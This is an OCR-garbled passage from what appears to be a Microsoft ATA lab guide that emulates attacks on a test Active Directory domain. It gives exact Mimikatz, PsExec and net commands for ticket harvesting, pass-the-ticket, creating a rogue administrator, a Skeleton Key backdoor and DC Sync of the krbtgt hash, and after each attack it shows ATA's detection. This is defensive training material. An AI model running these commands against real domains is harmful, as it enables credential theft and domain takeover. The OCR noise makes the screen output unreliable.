\Nadmnin—pescéstemp\[0;3e41-2-1-40e10800—ADMIN-PC5@krbtgt—CONT0S0.LOCAL . kirbhi
NNadmin—pescéstemp\[B;3e?1-8-6—-40a50000—-ADMIN-PC5P1ldap—dci .contoso.local.kirbhi
NNadmnin—pcScéstemp\[0;3e?1-8-1-40a50000—-ADMIN-PC5Bcifs—dcl.contoso.local.kirbhi
N\admin—pecN\cS\temp\[B;3e71-0-2-40a10000. kirbi
Nvadmin—peNcS\temp\[B;3e71-0-3-40a50000-ADMIN-PC5PLDAP-DC1 .Contoso. local. kirbi
\Nadmin—pcScéstemp\[0;3e?71-2-0-60a10000—-ADMIN-PCSPkrbtgt—CONT0S0.LOCAL . kirbhi
SaadninopescSitanns [(;3e7]1-2-1-40e10000-ADMIN-PCSPkrbt gt —CONT0S0.LOCAL . kirhi
19 File{(s) copied

c :\tools\Sysin
“& mimikatz.exe

—accepteula cmd /¢ (cd c:\temp
sekurlsa::tickets Zexport" “& "exit'')

c :\tools\SysinternalsSuitepxcopy “\Nadmin—pc \c$\temp c:\temp\tickets
C:\temp\ticke i

=8 ER (™
@‘v.v « temp » tickets - ‘ 3 || search tickets
s Organize « Include in library « Share with « New folder - il (7]
NSadmin-— pL\L$\Lme\[ﬁ <Tii
Nadmin—pcN\cé\temp\[0;1922h1-0-1-40a100080—Nuc y Name Tlee{S O'n Da
rhi ¢ LEi= Victim-RC
hadnin—penegatenys 18519225 172 -0-40¢ 10000 N g SEREEGS [0:12220]-0-0-40a50000-NuckC @cifs-dcl .contosolocal.kirbi 12

laead]l-0-0-40a50000-Nuc
ead ]-0-1-40a560008-Nu«
ead ]-0-2-40a5B008—-Nuc

\\dl‘nlll pehcé\temp\[0;

# Downloads _| [0:1aea0]-0-1-40a50000-NuckC@Idap-dcl.contoso.local kirbi

Nsadmin—pcNcSstemp\[B;

NNadmin—pcN\cS\temp\[0;
Nhadmin—pcNcS\temp\[B;
NNadmin—pcN\cSitemp\[8;
rhi

laeaB]1-2-8-60a1B8008—-Nuc
laeaB]-2-1-40e10000-Nug
laec4]1-8-0-48a18008-Nud

= Recent Places

[0:1aea0]-0-2-40350000-NuckC@LDAP-DCl1.Contoso.local kirbi 12
|| [0:1aea0]-2-0-60210000-NuckC@krbtgt-CONTOSO.LOCAL kirbi

h\Nadnin-pcscsstenps [8;1aecd 1-2-0-48e 100BB-Nuc ~ Libraries [0;1aea0]-2-1-40€10000-NuckC @krbtgt-CONTOSO.LOCAL kirbi 12
\Nadmin—pch\cii\tenp\[8; 3t4}73 ? 33:23333 23:{: | Documents __| [0:1aec4)-0-0-40210000-NuckC @cifs-plaxserver.Contoso.local kirbi
41-2-0-68a10000-ADHI & Music [0;1aec4]-2-0-40€10000-NuckC @krbtgt- CONTOSO.LOCAL kirbi 12
3 &= Pictures __| [0;3€4]-0-0-40250000-ADMIN-PCS @cifs-DCL.Contoso.local kirbi 1
Qiggﬂizji:;gi;;ﬁﬁi{g Je71 - 1-40a10000.-kixh. B Videos [0:3€4]-0-1-40250000- ADMIN-PCS @Idap-DC1.Contoso.local kirbi 12
tlzﬁﬁiziﬁztzéltiﬁglﬁgé3:3}:3:3:23:?33332232{: __| [0:3e4]-2-0-60a10000-ADMIN-PCS@krbtgt-CONTOSO.LOCAL kirbi
N\Nadmin—pcN\cé\temp\[0;3e?1-2-1-40e10000-ADMI} - Computer

26 File<(s) copied

=

I Aaral Nicl A

[0;3e4]-2-1-40€10000-ADMIN-PCS @krbtgt-CONTOSO,LOCAL kirbi 12

MLIAT1 N N_ANENNNN_ ANKATRL DCC A~ N1 Cmmbara lamal Licki

Action 13: Move Mimikatz to Admin-PC, execute Mimikatz on Admin-PC to harvest tickets, copy tickets back to Victim-

PC

They successfully executed Mimikatz remotely, exporting all Kerberos tickets from Admin-PC.

Finally, the attacker copied back the results to Victim-PC, and now has NuckC's credentials without

having to exploit his computer!

14. Action: Locate the NuckC TGT

Locate the kirbi files which are not NuckC (i.e. "ADMIN-PC$"). Delete those and keep the NuckC

tickets.
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| | [0:3e4]-0-0-40a50000-ADMIN-PCS @cifs-dcl.conteso.local kirbi

| || [0:3e4]-0-1-40a50000-AL Send to »
| | [0:3e4]-2-0-60a10000-AL Cut
u
| || [0:3e4]-2-1-40e10000-AL
Copy -
| || [0:3e7]-0-0-40a50000-AL cal. kirbi
| || [0:3e7]-0-1-40a50000-AL Create shortcut al.kirbi
| || [0:3e7]-0-2-40a10000.kir I Delete I
| || [0:3e7]-0-3-40a50000-AL Rename ocal kirbi
0:3e7]-2-0-60a10000-AL CAL. kirbi
|'_' [0:3€7] b Properties [%Ir !
| || [0:3e7]-2-1-4010000-AL - CAL. kirbi

|| [0:190a8]-0-0-40a10000
|| [2:190a8]-2-0-40e10000 MuckC@krbtgt-
|| [0:1908c]-0-0-40a50000
|| [0:1908c]-0-1-40a50000
|| [9:1908c]-0-2-40a50000 MuckC@LD

Keep NuckC
|| [0:1908c]-2-0-60a10000{MuckC@krbtg Kirbi files
|| [0:1908c]-2-1-40e10000MuckC@krbtgt-

server.Contoso.lacal.kirbi
ONTOSOLOCAL kirbi

.contosa.local.kirbi

Action 14: Find the right filename, copy it as you will use it in the next action.

We can now import the NuckC tickets in the next action.
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Pass-the-Ticket
What can you do with these tickets? You can pass them, literally, into memory and use them to
gain access to resources as if you were NuckC.

The attacker is ready to import them into Victim-PC's memory, to get the credentials to access
sensitive resources.

15. Action: Pass-the-Ticket

From an elevated command prompt, where Mimikatz is located on the filesystem, execute the
following:

mimikatz.exe “privilege::debug” “kerberos::ptt c:\temp\tickets” “exit”

cisvtoolssmimikatzsWin32 *minikatz .exe "privilege: :debug" “kerheros::ptt c:istemp™j
ickets'" “exit"

i w v mimikatz 2.1 (x86> built on Mov 26 2016 B2:28:17
i #t. A La Vie,. A L' Amour"
Bt » ~ i 7= = =
it~ o Hi Benjamin DELPY ‘gentilkiwi® ¢ benjaminPgentilkiwi.com 2
HiE v #HE http:/hlog.gentilkivi.comsmimikatz= Coe.eo
! g with 280 modulez = = =~

mimikatz{(commandline? # privilege::debug
Privilege *260' 0K

mimikatz(commandline? # kerberos::ptt c:intempstickets
=* Directory: ‘cistempntickets’

= File: ‘c:stempsticketss[@;1788c 1-0-8—48a58000-MuckClcifzs—dcl.contoso.local. kiy
hi’: 0K

* File: ‘c:istemphticketss[8;:;1788c 1-8-1-40a50000—NuckCPldap—dcl.contoso. local. kiv
hi': 0K
‘eistemprsticketss[8;:1988c 1-0—-2—-48a58000—Nuc kCELDAP-DC1 . Contoso . local . kiv
‘cintemphticketss[8;1988c 1-2-6-68al1 8088 Nuc kCRkrht gt —CONTOS0 . LOCAL | kirbi

‘ecistempsticketss[B5;1988c 1-2-1-48e1 8808 {Muc kCRkrbt gt —CONT 0S80 . LOCAL Jkirhi

=* File: ‘c:stempsticketss[@:;1978a8 1-0-8-48a1A880—MuckClcifz—plaxserver.Contoso. 1o
cal.kirhi’: OK

* File: ‘c:istempsticketss[B8;178a8 1-2-8-40e180800-NHuckCPkrbtgt—CONTOS0.LOCAL. kirbi
‘i QK

mimikatz<{commandline? # exit
Byet

Action 15: Pass-the-ticket

Ensure that the NuckC@krbtgt-CONTOSO.LOCAL tickets were successfully imported as illustrated
above.

Now, let’s validate that the right tickets are in the command prompt session.
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16. Action: Validate the ticket was imported

Execute the following in the same elevated command prompt:

klist

c:tools'mimikat=z“UWin34>klist
Current Logonld is B:Bxh5e?7

Cached Tickets: (62>

1> Client: |[HuckC @ CONTOSO.LOCAL
Server: |krbtgt ACONTOSO.LOCAL @ CONTOSO.LOCAL

KerhTicketT Encryption [ype: AES—25b-CIS-—HAAC-SHA1-96

Ticket Flags Bx4@elBBBA —> forwardable renewahle initial pre_authent na
e_canonicalize

Start Time: 1-5-.2017 17:46:11 (local>

End Time: 16,2017 5:46:11 <{local>

Renew Time: 1122017 19:46:11 <(local>

Session Key Type: AES—-256—CIS-HMAC-5HAL-?6

Action 16: validate the NuckC@krbtgt ticket was imported successfully

The attacker now successfully imported the harvested ticket into the session, and will now leverage
their new privilege and access to access the domain controller’'s C drive:

17. Action: Access contents of dc1\c$ with NuckC's credential

Execute the following in the same command prompt to which the tickets were just imported.

dir \\dcl\c$

c :\tools\mimikatz\Win32pdir ““dcli\c$S
Uolume in drive \\dcic$ has no label.
Uolume Serial Number is E453-468B

Directory of “Ndecl\c$

h8,22,2013 52 AM <DIR> PerfLogs
12/16-2016 @7 PM <DIR> Program Files
h8.,22,2013 39 AM <DIR> Program Files
12,15,2016 18 AM <DIR> Users
12,15,2016 :14 PM <DIR> Windows

B File{(s> A hytes

5 Divd(s> 138,.997.393,.488 bhytes free

Action 17: Access \\dc1\c$ with NuckC's credential from Victim-PC

The attacker is now, for all intents and purposes, NuckC, in the digital world. Only administrators
should be able to access the root of the domain controller. The attacker is using legitimate
credentials, can access legitimate resources and executing legitimate executables.

Most IT shops would be blind to this post-infiltration activity going on in their environment.
Fortunately, you have ATA. Let's look at the ATA Console to see what was detected:
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Identity theft using Pass-the-Ticket attack
Kerberos tickets were stole NCTIM-PCland used to access 3 resources.

ATA Detection: ATA detecting Pass-the-Ticket

ATA detected that Nuck Chorris's tickets were stolen from ADMIN-PC and moved to VICTIM-PC.
ATA also shows which resources were accessed using the stolen tickets. Not only did you become
aware of the attack, you gain insight into where to start our investigation.

ind used to access 3 resources.

Resources

o

ONTOSO LOCAL

N ko KRETGT

Figure 3: ATA illustrating the resources accessed with
the associated Pass-the-Ticket

This information is highly important to focus on as a network defender. The attacker accessed the
CIFS, using the “dir \\dc1\c$” command. The attacker sent an LDAP request to the local DC1 for
purposes of the CIFS. The KRBTGT was used to directly talk to DC1 and authenticate (a necessary
process for accessing the c$ drive of the DC). From this, we, as defenders can confirm that the
Pass-the-Ticket activity led to direct access to the DC1 computer.
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Remote Code Execution

Remote code execution against a DC is something every adversary wishes to do—making
modifications to our Identity layer itself can make it extremely hard to detect their presence. Let's
execute remote commands to add a user to the domain, and add them to the “Administrators”
security group, using NuckC's legitimate credentials. With built-in tools, no malicious software or
research tools necessary.

18. Action: PsExec against DC1 to add an Administrator

From the location where PsExec is located on Victim-PC, execute:

psexec \\dcl -accepteula net user /add InsertedUser pa$s$wlOrdl

psexec \\dcl -accepteula net localgroup “Administrators” InsertedUser /add

c:\tools\SysinternalsSuite>PsExec.exe \\dcl -accepteula net user /add Insertedls

er pasSwlrdl

PsExec v2.2 - Execute processes remotely
Copyright (C)> 2001-2016 Mark Russinovich
Sysinternals - wuww.sysinternals.com
The command completed successfully.
net exited on dcl with error code 8.

ciNtools\SysinternalsSuitePsExec.exe \\dcl -accepteula net localgroup “"Hdminist
rators"” InsertedlUser Zadd

PsExec v2.2 - Execute processes remotely
Copyright <C)> 2001-2016 Mark Russinovich

Sysinternals - www.sysinternals.com

The command completed successfully.

Action 18: Add an Administrator to the Domain

What just happened?

The attacker just created a user account and made the account an Administrator. You clearly
exerted our Doman Admin privileges you now possess, via remote code execution. Not only that,
you can create more Domain Admins, remove domain admins. Again, all with legitimate
credentials with legitimate tools.
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Good news, ATA detected the remote execution against DC1 from Victim-PC. In the below

screenshot, we also illustrate ATA detecting not just successful attempts but also failed attempts
by the adversary.

Remote execution attempt detected

The following remote execution attempts were performed on DC1 fromEICTIM-Pd

» Successful remote creation of PSEXESVC by Nuck Chorris.
— . N
= Failed remote creation of PSEXESVC by Nuck Chorris.

Note Share Export to Excel Details Input

Remote execution

8@ :r I:IG 00

MNuck Chaorris VICTIM-PC DC1
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Domain Dominance

The attacker has achieved domain dominance- they can run any code, as administrators, and
access any resource in the domain.

However, to ensure the persistency of domain dominance, backdoors and other mechanisms are
put in place as insurance policies, in case the original method of attack was discovered or a
credential randomly reset.

Skeleton Key

Let's assume that the attacker wanted to create the ultimate backdoor to the DC, a way to instantly
create Admin privileged users. This method is known as Skeleton Key.

19. Action: Inject the Skeleton Key attack on DC1

First, you must copy Mimikatz over to the DC. Note that in this phase it is important to know if
the DC is a 32-bit or 64-bit machine. The example uses a 64-bit machine—modify it to the needs
of your specific environment.

xcopy x64\mimikatz.exe \\dcl\c$\temp\

Now, let’s use PsExec to execute it remotely, and deploy the Skeleton Key.

PsExec \\dcl -accepteula cmd /c (cd c:\temp *& mimikatz.exe “privilege::debug” “misc::skeleton” &
Yexit”)

c:\tools>xcopy mimikatz \x64\mimikatz.exe ““dcl:\cé\temp\
mimikatz\x64\mimikatz .exe
1 File(s) copied

Cc:NtoolssSysinternalsSuiteNPskExec.exe S\N\dcl —accepteula cmd /¢ <cd c:\temp & mi
: e +u i ~ ,
mikatz.exe "privilege::debug" “"misc::skeleton" “& exit>

PsExec v2.2 — Execute processes remotely
Copyright (C> 2881-2816 Mark Bussinovich

Sysinternals — www.sysinternals.com

Hinag. mimikatz 2.1 {(x64> built on Nov 26 2816 B2:28:33
I AN ¢ YA La Vie. A L’Amour”
Bt 7~ N B /% ¢ =
N 7 1 Benjamin DELPY ‘gentilkiwi® ¢ bhenjaminBgentilkiwi.com >
HE v HBE http:/sblog.gentilkiwi.com/mimikatz (oe.eon)
ittty with 20 modules = »* =/

mimikatz{commandline? # privilege::debug
Privilege '28° UK

mimikatz{(commandline? # misc::skeleton
[KDC]1 data

[KDC]1 struct

[KDC]1 keys patch)lOK

[RC4]1 functions

[RC41 init patch JOK

[RC41 decrypt patch|OK

Action 19: Execute Skeleton Key on the DCT1
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The attacker “patched” the LSASS.exe binary with the Skeleton Key. Let's figure out exactly what
this means and what an attacker could do with this.

20. Action: Leverage Skeleton Key—confirm you have a clean command prompt with JeffV

First let's open a command prompt as JeffV. Let's also validate that no tickets from other users
are present, just so you can confirm exactly what is going.

From Victim-PC, as JeffV, execute:

klist

C:\Users\jeffuPklist

Current Logonld is B:8x1b5fd

Cached Tickets: (2)

#a> Client: JeffU @ CONTOSO.LOCAL

Server: krbhtgt/CONTO0S0.LOCAL @ CONTO0SO0.LOCAL

KerbTicket Encryption Type: AES—-256-CTS—HMAC-SHA1-96

Ticket Flags Bx4Be1860688 -> forwardable renewable initial pre_authent na
e_canonicalize

Start Time: 12212016 15:58:492 (local>

End Time: 12/22/2016 1:58:49 {(local> '@
Renew Time: 12/26-2016 15:13:49 {(local> Y
Session Key Type: AES-256-CIS-HMAC-SHA1-96 GG)NT@S@L@GAL
Client: JeffU (@ CONTOS0.LOCAL

Server: LDAP/DC1.Contoso.local/Contoso.local @ CONTOSO.LOCAL

KerbTicket Encryption Type: RSADSI RC4-HMACCNTI>

Ticket Flags Bx48a586088 -> forwardable renewabhle pre_authent ok_as_de lec
ate name_canonicalize

v 12

Action 20: Ensure you have a clean command prompt session

No high privileged tickets are there. This means that every command that the attacker will run
should only have the privileges JeffV has.

21. Action: Attempt to authenticate to DC1

Now, let's attempt to map the C$ of DC1. You will use a wrong password, on purpose, to illustrate
that not every password will work.

From the same clean command prompt, run:

net use k: \\dcl\c$ wrongpassword /user:Administrator@contoso.local

C:\Users\jeffurnet use k: \\dcl\c$% wrongpassword /user:fAdministratorfcontoso.loc
al

System error 1326 has occurred.

Logon failure: unknown user name or bad password.
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This failed, as it should. But this is where Skeleton Key becomes scary... let's try this again but
with the Master Key which you just added to every account authenticated against DC1, where you
injected the Skeleton Key.

From the command prompt, execute the following, this time, using the master key “mimikatz”:

net use k: \\dcl\c$ mimikatz /user:Administrator@contoso.local

C:\Usershjeffuinet use k: ““\dcicS mimikatz Juser:fAdministratorlfcontoso.local

The command completed successtully.

Action 21: Leveraging Skeleton Key with a master key

Wait, what!?

With the master key, “mimikatz” (hardcoded), the attacker could gain administrator privileges.
That key is not the password to the account, a way to reach DC1, using the patched process, and
authenticate any user as administrator (or any other security group).

Note that there are 2 active passwords for each account now:

e The original, user/admin created password.
e The skeleton master key

So, you could imagine how hard this is to detect, but here's what you can see in ATA:

Encryption downgrade activity

The encryption method of the ETYPE_INFO2 field of KRB_ERR message from

earned behavio

Encryption Downgrade

ATA Detection: Detecting encryption downgrade (Skeleton Key)
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DC Sync: Compromise the KRBTGT

So far, everything the attacker did on the DC required them to run arbitrary code on the DC. ATA
detected these actions this, raising the respective Suspicious Activity flag as well as providing the
network defender with information to pivot on.

But what if the attacker decided to run a more covert attack, one that doesn’t run arbitrary code
on the DC (without PsExec or injecting the Skeleton Key into the LSASS process directly).

Mimikatz, the research tool of choice in this area, has a capability called "DC Sync”. This allows
the attacker, with Domain Admin credentials, to replicate any credential back to them as if they
were a DC.

22. Action: Validate Command Session is NuckC

Open up the command prompt that has NuckC's credentials—if you closed the command prompt,
go back to action number 15 (“Action: Pass-the-Ticket") on page 29.

Go to the command prompt and make sure that NuckC's ticket is still injected in the session.

c:\toolsltklist
Current Logonld is B:8x1b5d9
Cached Tickets: (5>

Ha> Client: NuckC @ CONTO0S0.LOCAL

Server: krbtgt/CONTOSO.LOCAL @ CONTOSO.LOCAL

KerbTicket@ Encryption Type: RSADSI RC4-HMACC{NT >

Ticket FlgWys Bx6Bal188B88 —> forwardable forwvarded renewable pre_authent n
ame_canonicalize

Start T@me: 12,/21/2016 22:84:28 (local>

End Time: 12/,22/2816 7:47:28 {(local>

Renew Time: 12/26,2016 21:82:22 (local>

Session Key Type: RSADSI RC4-HMAC{NT>

Client: NuckC @ CONTO0SO.LOCAL

Action 22: Validate NuckC from krbtgt/Contoso.Local

Now that you know you're working from the correct console, you can emulate the attacker and
try to get the ultimate credentials of the domain: the KRBTGT. Why this account? With this
account, you can sign your own tickets.


https://technet.microsoft.com/en-us/library/dn745899.aspx#Sec_KRBTGT
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23. Action: Execute DC Sync

From the now validated NuckC command prompt on Victim-PC, traverse to where Mimikatz is
located on the filesystem and execute the following command:

mimikatz.exe “lsadump::dcsync /domain:contoso.local /user:krbtgt “exit” >> krbtgt-export.txt

c:Ntoolssmimlik NWiIndZavmimikatz ..exe lsadump: fdcsync Jdomaln:contoso.local Juse

r:krbtgt' “exit" >> krbtgt—expoprt.txt

Action 23: DC Sync against krbtgt account

Once the attacker will open-up the “krbtgt-export.txt” they will have the KRBTGT details needed.
Open the "krbtgt-export.txt” file you just exported the hash to.

mimikatz(commandline) # 1sadumﬂ: :dcsync /domain:contoso. local /user:krbtgt
[DC] "contoso.local’ will be the domain

[bc] 'Dcl.contoso. local® will be the DC server

[DCc] "krbtgt’ will be the user account

object RDN -

% SAM ACCOUNT #**

SAM Username : krbtgt

Account Type : 30000000 ( USER_OBIJIECT )

User Account Control : 00000202 ( ACCOUNTDISABELE NORMAL_ACCOUNT )
Account expiration
Password last change :
Object Security ID
object Relative ID

C 4] c .

IHash NTLM : 20ea8ba86d85ebda876c0?5185a3cc7e|

Tm - 0: 9772f8980d2cf4d6eefd20c8c8dc608a
Supplemental Credentials:
* Primary:Kerberos-Newer-Keys *

pefault salt : CONTOSO.LOCALkrbtgt

pefault Iterations : 4096

Credentials

aes256_hmac (4096) : 046785f359bc308a64bb8a3b0alef9714fcOcb5a33ce709986cd589chddl6abb

oo Aesl28 ,hma};k P ,(Aqgﬁ)ﬁ » z?eezgefﬂﬁ_ggg_b‘inﬁalj318;?_80}!22_; PP PR S e

Figure 4: The KRBTGT account “now belong to us”.

At this point, the attacker has all they need to sign any TGT for any resource using the stolen
NTLM hash without ever going back to the Domain Controller. With this, the attacker can
become anyone at any time he so desires (until the KRBTGT account itself is reset, twice').

Let's head to the ATA console and see what was presented back to the network defenders:

3 https://blogs.microsoft.com/microsoftsecure/2015/02/11/krbtgt-account-password-reset-
scripts-now-available-for-customers/

38


https://blogs.microsoft.com/microsoftsecure/2015/02/11/krbtgt-account-password-reset-scripts-now-available-for-customers/
https://blogs.microsoft.com/microsoftsecure/2015/02/11/krbtgt-account-password-reset-scripts-now-available-for-customers/

HE pa;
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Malicious replication of directory services

were successfully performed b){Nuck Chorris,lfromIVICTlM»Pckgamsi DC1]

Malicious replication requests
A -~ T— E

Replication request

oy L \

~k Chorric

ATA Detection: ATA detecting malicious replication (DC Sync)
ATA not only detected the attack but also provided the information needed to take remedial

actions.

Leveraging the KRBTGT to sign fake tickets is known as a Golden Ticket attack, which is also
detected by ATA. However, for purposes of scope and signature-based detections, it is outside
the scope of this article.
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Conclusion

ATA gives you information and insight into defending your network that aren’t available anywhere
else. ATA turns the Identity-plane into a powerful detection tool that discovers post-infiltration
activities in your environment. ATA helps you digest macro-events and turn them quickly into
cohesive attack stories.

Users who recently logged onto this Recently accessed resources
computer

i
-

Lo
[

ATA provides the necessary insights and intelligence into the “assume breach” world, where
discovering post-infiltration activities is a must. Firewalls, antivirus engines, intrusion detection
services, and intrusion prevention services all attempt to keep the bad guy out but are more-or-
less blind after the bad guy gets in, when legitimate tools with legitimate credentials are used
maliciously. In the world of cybersecurity, it is crucial to truly understand these malicious activities.

For more information, contact ATA ataeval@microsoft.com; contact local Microsoft rep.
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